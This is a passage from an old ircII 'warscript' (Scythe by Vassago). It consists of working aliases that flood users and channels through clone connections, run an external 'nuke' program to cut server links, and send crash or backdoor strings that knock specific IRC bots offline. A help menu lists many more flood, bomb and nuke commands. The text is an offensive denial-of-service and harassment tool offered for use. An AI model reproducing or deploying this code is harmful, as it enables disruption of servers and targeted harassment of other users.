  1151.      //links $0
  1152.      wait -CMD #
  1153.      if ([$nserver2] != []) {
  1154.          EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach &
  1155.          EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach &
  1156.          wait
  1157.          EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach &
  1158.          EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach &
  1159.      }
  1160.      {/sxecho Error: uplink to $nserver1\ not found.}
  1161.      sxecho Sent nuke to $nserver1\ and $nserver2\.
  1162.     ^on 364 - "*"
  1163.     ^assign -nserver1
  1164.     ^assign -nserver2
  1165.      }
  1166.      {
  1167.     /sxecho Usage: /SNUKE <server>. You cannot be on the same server
  1168.     /sxecho as the server you are trying to nuke! This command will
  1169.     /sxecho double-nuke the server. You must have root access to use.
  1170.      }
  1171. }
  1172.  
  1173. ### Yet Another Flood Alias
  1174.  
  1175. alias flood {
  1176.   if ([$0]) {
  1177.     if ([$1]) {^assign SR $1}
  1178.      {^assign SR $S}
  1179.     if ([$2]) {^assign PT $2}
  1180.      {^assign PT 6667}
  1181.     ^set display off
  1182.     /sxecho Creating connections... \(using server ${SR}, port $PT\)
  1183.      EVAL ^assign FB[0] $connect($SR $PT)
  1184.      EVAL ^assign FB[1] $connect($SR $PT)
  1185.      EVAL ^assign FB[2] $connect($SR $PT)
  1186.     ^set display on
  1187.     if ((FB[0] > 0)&&(FB[2] > 0)) {
  1188.      /sxecho Signing onto server...
  1189.      //^dcc raw $FB[0] $SR NICK $randcrap(9)
  1190.      //^dcc raw $FB[1] $SR NICK $randcrap(9)
  1191.      //^dcc raw $FB[2] $SR NICK $randcrap(9)
  1192.      //^dcc raw $FB[0] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
  1193.      //^dcc raw $FB[1] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
  1194.      //^dcc raw $FB[2] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR
  1195.      /sleep 2
  1196.      /sxecho Flooding $0... (connections will die when finished.)
  1197.      /sleep 3
  1198.      if (ischannel($0)) {
  1199.          //^dcc raw $FB[0] $SR JOIN $0
  1200.          //^dcc raw $FB[1] $SR JOIN $0
  1201.          //^dcc raw $FB[2] $SR JOIN $0
  1202.      }
  1203.      foreach FB XX {
  1204.          EVAL ^timer 3 //^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
  1205.          EVAL ^timer 6 //^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
  1206.          EVAL ^timer 9 //^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
  1207.          EVAL ^timer 12 //^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
  1208.          EVAL ^timer 16 //^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR
  1209.      }
  1210.        EVAL ^timer 20 //^dcc raw $FB[0] $SR QUIT :$TSU
  1211.        EVAL ^timer 20 //^dcc raw $FB[1] $SR QUIT :$TSU
  1212.        EVAL ^timer 20 //^dcc raw $FB[2] $SR QUIT :$TSU
  1213.      }
  1214.      {/sxecho Error connecting to $SR\, flooding aborted.}
  1215.     ^assign -FB[0]
  1216.     ^assign -FB[1]
  1217.     ^assign -FB[2]
  1218.     ^assign -SR
  1219.     ^assign -PT
  1220.     }
  1221.     {/sxecho Usage: /FLOOD <nick/channel> [<server>] [<port#>]}
  1222. }
  1223.  
  1224. ### BACKDOOR/BOT KILLER Add Ons (by Maeglar, Modified by Vassago)
  1225. # Thanks go to the Knights of IRC for these interesting aliases.
  1226.  
  1227. alias wskill {
  1228.    sxecho Sending WSIRC Kill to Channel $C\.
  1229.    //ctcp $C a
  1230. }
  1231.  
  1232. alias vkill1 {
  1233.   if ([$0]) {
  1234.     sxecho Trying to SIGSEV VladBot $0, please wait...
  1235.     //^dcc chat $0
  1236.     //^msg $0 note create public time to die
  1237.     //^msg $0 note delline
  1238.     //^msg $0 note delline 8
  1239.     if ([$1]) {/vkill1 $1-}
  1240.   }
  1241.   {/sxecho Usage: /VKILL1 <botnick>.}
  1242. }
  1243.  
  1244. ALIAS VKILL2 {
  1245.    if ([$0]) {
  1246.       //dcc chat $0
  1247.       //msg $0 note create public 4 m-eye frendz
  1248.       //msg $0 note delline 2
  1249.    }
  1250.    {/sxecho Usage: /VKILL2 <bot nickname>.}
  1251. }
  1252.  
  1253. alias vkill3 {
  1254.   if ([$0]) {
  1255.      //dcc chat $0
  1256.      wait
  1257.      dccflood $0
  1258.      ^timer 15 dccflood $0
  1259.      ^timer 30 dccflood $0
  1260.   }
  1261.   {/sxecho Usage: /VKILL3 <bot nickname>.}
  1262. }
  1263.  
  1264. alias com1 {
  1265.   if ([$0]) {
  1266.     //^msg $0 dcc
  1267.     sxecho Trying to SIGSEV ComBot $0 with the DC bug...
  1268.     if ([$1]) {/com1 $1-}
  1269.   }
  1270.   {/sxecho Usage: /COM1 <nickname of ComBot>.}
  1271. }
  1272.  
  1273. alias com2 {
  1274.   if ([$0]) {
  1275.     //^msg $0 bleaht33h33bleah quit :SIGSEV - Fuck I'm a stupid dickhead like my owner.
  1276.     sxecho Trying to backdoor ComBot $0 to quit...
  1277.     if ([$1]) {/com2 $1-}
  1278.   }
  1279.   {/sxecho Usage: /COM2 <nickname of ComBot>.}
  1280. }
  1281.  
  1282. alias com3 {
  1283.   if ([$0]) {
  1284.     //^msg $0 seen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  1285.     sxecho Trying to SIGSEV ComBot $0 with the seen bug...
  1286.     if ([$1]) {/com3 $1-}
  1287.   }
  1288.   {/sxecho Usage: /COM3 <nickname of ComBot>.}
  1289. }
  1290.  
  1291. alias cc {
  1292.   if ([$0]) {
  1293.     //^msg $0 
  1294.     sxecho Trying to get ComBot command character from $0.
  1295.     if ([$1]) {/cc $1-}
  1296.   }
  1297.   {/sxecho Usage: /CC <nickname of Combot to get Command Character>.}
  1298. }
  1299.  
  1300. alias hc {
  1301.   if ([$0]) {
  1302.     //^ctcp $0 cmdchar
  1303.     sxecho Trying to obtain HackBot command character from $0...
  1304.     if ([$1]) {/hc $1-}
  1305.   }
  1306.   {/sxecho Usage: /HC <nickname of HackBot>.}
  1307. }
  1308.  
  1309. alias dweeb {
  1310.   if ([$0]) {
  1311.     //^ctcp $0 ooook
  1312.     sxecho Trying to kill $0 with the DweeBot backdoor...
  1313.     if ([$1]) {/dweeb $1-}
  1314.   }
  1315.   {/sxecho Usage: /DWEEB <nickname of DweebBot>.}
  1316. }
  1317.  
  1318. alias hackkill {
  1319.   if ([$2]) {
  1320.      sxecho Attempting to kill the hackbot $0\...
  1321.      sxecho If you have no DCC CHAT connection to $0\ this will not work.
  1322.      //^msg =$0 $1\stats $2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2
  1323.   }
  1324.   {
  1325.      sxecho USAGE: /hackkill <bot> <their command char> <a ten letter word>
  1326.      sxecho You can get the command character by typing /HC <botnick>.
  1327.      sxecho You ALSO need to have an active DCC CHAT with <botnick>.
  1328.   }
  1329. }
  1330.  
  1331. alias hackkill2 {
  1332.    if ([$0]) {
  1333.       sxecho Trying to SIGSEV HackBot $0\...
  1334.       //ctcp $0 ACTION
  1335.    }
  1336.    {
  1337.       sxecho Sending SIGSEV for HackBots to $C\...
  1338.       //ctcp $C ACTION
  1339.    }
  1340. }
  1341.  
  1342. ### WAR Help Commands
  1343.  
  1344. alias pause2 {
  1345.   ^assign PAUSETEMP $"-Enter to Continue-"
  1346.   ^assign -PAUSETEMP
  1347. }
  1348.  
  1349. alias WARHELP {
  1350.    echo +----------------------------------------------------------------------+
  1351.    echo |        - + Scythe IRC Warscript by Vassago - Command HELP + -        |
  1352.    echo +----------------------------------------------------------------------+
  1353.    echo | /NICKMDOP - Does a mega deop with nick change, deops by 4.           |
  1354.    echo | /K(name) - Sets a channel key bomb: /kdie, /kfont, /kinvert,         |
  1355.    echo |   /kinvert, /ksz, /kcls, /kfire, /kreset, /ksatan, /ktsunami.        |
  1356.    echo | /CBOTS HELP - Gives you an extended help on the Serpent script       |
  1357.    echo |   clonebots collision killer. This killer uses script clonebots      |
  1358.    echo |   much like Vassago's Serpent Collision Script v2.12 did.            |
  1359.    echo | /KILLHOST (server) - Changes the collision killer host to <server>.  |
  1360.    echo | /CLONE (bot # or ALL) (action) - Tells your clonebots to do <action>.|
  1361.    echo |   Type /CLONE HELP to view the examples and lists of actions.        |
  1362.    echo | /CLONEBOTS HELP - Gives you an extended help on Clonebots & commands.|
  1363.    echo | /CLONESPY HELP - Gives you an extended help on Clonebots spy Levels. |
  1364.    echo | /OPCLONES - Ops all of YOUR clonebots on your current channel.       |
  1365.    echo | /CK - Kills (disconnects) all clonebots.                             |
  1366.    echo | /ASSAULT (nick/#channel) - Starts an assault program, a really nasty |
  1367.    echo |   one, on <nick/#channel>. This attempts to flood them off IRC.      |
  1368.    echo | /TSUNAMI (nick/channel) - Dumps the TSUNAMI string to <nick/channel>.|
  1369.    echo | /NICKFLOOD (#) - Does a random nick flood with numbers, changes <#>. |
  1370.    /pause2
  1371.    echo | /DCCFLOOD (nick) - Sends a really nasty DCC CHAT flood to <nick>.    |
  1372.    echo | /DCCBOMB (nick) - Sends a DCC autoget bomb to <nick>.                |
  1373.    echo | /DCCTSUNAMI (nick) - Tsunamis <nick> with DCC SENDs.                 |
  1374.    echo | /PINGFLOOD (nick/channel) - Ping floods <nick/channel>.              |
  1375.    echo | /PONGFLOOD (nick) - Pong floods <nick>.                              |
  1376.    echo | /TOOLZBOMB (nick/channel) - CTCP ToolZ floods the person.            |
  1377.    echo | /VERFLOOD (nick/channel) - CTCP VER floods the person.               |
  1378.    echo | /MULTIFLOOD - Sends them a little of each type of flood.             |
  1379.    echo | /SEDFLOOD - Floods with CTCP "SED" (Gives them Encrypted Message).   |
  1380.    echo | /CTCPFLOOD (nick/channel) - CTCP CLIENTINFO Floods <nick/channel>.   |
  1381.    echo | /SERVFLOOD (server) (count) - Floods all umode +s people on <server>.|
  1382.    echo | /FLASH (nick) - Flashes <nick>. You must have flash.c compiled       |
  1383.    echo |   to use. See variables at top of this script. <same for nuke>       |
  1384.    echo | /MFLASH (nick) - Mail flashes <nick>. You must have mflash.c.        |
  1385.    echo | /MASSFLASH - Flashes everyone on your current 
  1386. channel.               |
  1387.    echo | /NUKE (nick) - Nukes <nick>. You must have nuke.c compiled, in your  |
  1388.    echo |   current directory, and have root access to use this command.       |
  1389.    echo | /SNUKE (server) - Nukes <server>. (See above restrictions).          |
  1390.    echo | Note: the default filenames, etc. for nuke and flash can be edited   |
  1391.    echo | by manually changing the variables at the beginning of the script.   |
  1392.    pause2
  1393.    echo | +--+ CURRENT BACKDOOR ATTEMPTERS +---------------------------------+ |
  1394.    echo | /WSKILL - Kills all WSIRC users on your current channel.             |
  1395.    echo | /VKILL1 <nicks> - Attempts to SIGSEV VladBots.                       |
  1396.    echo | /VKILL2 <nicks> - Kills newer vlad versions.                         |
  1397.    echo | /VKILL3 <nicks> - Kills 3.01 vlad versions.                          |
  1398.    echo | /COM1 <nicks> - Uses ComBot DCC SIGSEV.                              |
  1399.    echo | /COM2 <nicks> - Uses ComBot bleaht33h33bleah Kill.                   |
  1400.    echo | /COM3 <nicks> - Uses ComBot seen SIGSEV.                             |
  1401.    echo | /CC <nicks> - Gets ComBot command character.                         |
  1402.    echo | /HC <nicks> - Gets HackBot command character.                        |
  1403.    echo | /DWEEB <nicks> - Attempts to Backdoor DweeBots.                      |
  1404.    echo | /HACKKILL <bot> <their command char> <a ten letter word> - This will |
  1405.    echo |   attempt to kill a HackBot also, but you need a DCC CHAT connection.|
  1406.    echo | /HACKKILL2 <bot> - Attempts to SIGSERV HackBots.                     |
  1407.    echo +----------------------------------------------------------------------+
  1408. }
  1409.  
  1410. assign LOADING LOADING
  1411. EVAL ^killhost $DEFAULTKILLHOST
  1412. EVAL //^mode $N +i
  1413. EVAL $srand($time())
  1414. EVAL ^assign JUNKSTR $tolower($encode($encode($encode($randcrap(2)$encode($encode($encode($randcrap(8))))))))
  1415. EVAL ^assign CJUNKSTR $randcrap(4)
  1416. echo [S/X] For the latest versions of all Vassago's scripts you should FTP
  1417. EVAL echo [S/X] to Vassago's Public Domain IRC site at jcowan.reslife.okstate.edu.
  1418. echo [S/X] DO NOT use this script unless you get it directly from my FTP site!
  1419. echo [S/X] SCYTHE IRC Warscript is now loaded. Type /WARHELP for HELP.
  1420.  
  1421.